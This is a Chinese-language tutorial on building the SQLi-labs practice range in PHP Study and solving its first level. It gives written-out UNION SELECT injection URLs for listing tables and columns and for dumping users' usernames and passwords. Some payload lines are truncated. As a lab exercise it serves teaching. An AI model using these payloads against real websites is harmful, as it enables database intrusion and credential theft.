sql注入靶场搭建及注入实验
1. 靶场搭建
1.1开启PHP Study并启动相关服务
1.2 创建本地网站
(1)第3步需要添加靶场的路径。
(2)第4步PHP版本需要选择5.4.45
1.3 打开靶场网站
(1)点击管理选择列表中的打开网站
1.4 解决setup/reset database出现的问题
(1)此处地方还需要配置一下靶场的mysql连接文件
(2)此处打开db-creds.inc文件填入PHP Study数据库的数据库名、账户和密码(鼠标挪上去即可看到)
(3)填写好后回到php study的网站管理处重新打开网站
(4)打开网站后选择Setup/reset Database for labs初始化一下数据库
2. 开始注入实验
下面使用渗透版的火狐浏览器进行注入实验。
在网站页面中点击SQLi-LABS Page-1(Basic Challenges) 或者滑轮往下移即可看到22关sql注入的入口
2.1第一关注入实验
描述:请输入一个名为id的参数,并且带上值。
2.1.1 常规操作
(1) 点击“Load URL” 可将地址栏的url复制粘贴到下面的方框。
(2) url后面加上参数“?id=1”
(3) 点击Execule开始执行请求操作
(4) 响应结果
2.1.2 实现代码逃逸操作
(1)测试在id值后面增加单引号以此来报错从而找到sql语句中id值的单引号。
如源码中id值后面的单引号
那么如果为了顺利在id值后面增加单引号的话,我们可以使用--+(其中—为注释符,而+号在mysql中代表的是空格)符号来屏蔽原来sql语句中id值后面的单引号,从而实现代码逃逸。在此环境下可以加入我们所需要的字段进行请求。
(2)此时我们再此加入单引号进行查询,此次没有报错,其实后面增加的--+只是注释了id值后面单引号sql语句内容,从而在url中增加单引号也可以回显成功。从而也实现了代码逃逸。
2.1.3 测试得出表中字段的个数
(1)使用order by进行个数排序得到正确的字段个数
此时10个字段进行排序,结果未能正常显示
第二/三次使用5/4个字段进行排序,结果仍然未能正常显示
第四次使用3个字段进行排序,结果能正常显示了,那么表示该表中含有3个字段。
2.1.4 查看数据库信息
(1)查询数据库名称、用户信息和数据库版本信息
(2)使用拼接符查看数据库中所有的表信息
url: http://ip:8888/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
(3)使用拼接符查看数据库中users表的所有字段信息
url: http://ip:8888/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_--+
如果由于字段过多未能显示完全则可通过F12审查页面的元素来查找。
2.1.5 获取users表中所有的账号和密码信息
其他表获取账户密码信息操作大同小异。
url: http://ip:8888/Less-1/?id=-1' union select 1,group_concat(username,0x7e,password),3 from users--+
3.总结
(1) 首先需要定位到参数的值后面是否需要单引号来实现代码逃逸.
(2) 进行字段个数排序得出字段真实的个数.
(3) 查询所有表信息.
例子:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库名'
(4) 最后查询/获取目标表的信息
例子:
查询:union select 1,group_concat(column_name),3 from information_schema.columns where table_
获取:union select 1,group_concat(用户名,0x7e,密码),3 from 表名--+
[课程]Android-CTF解题方法汇总!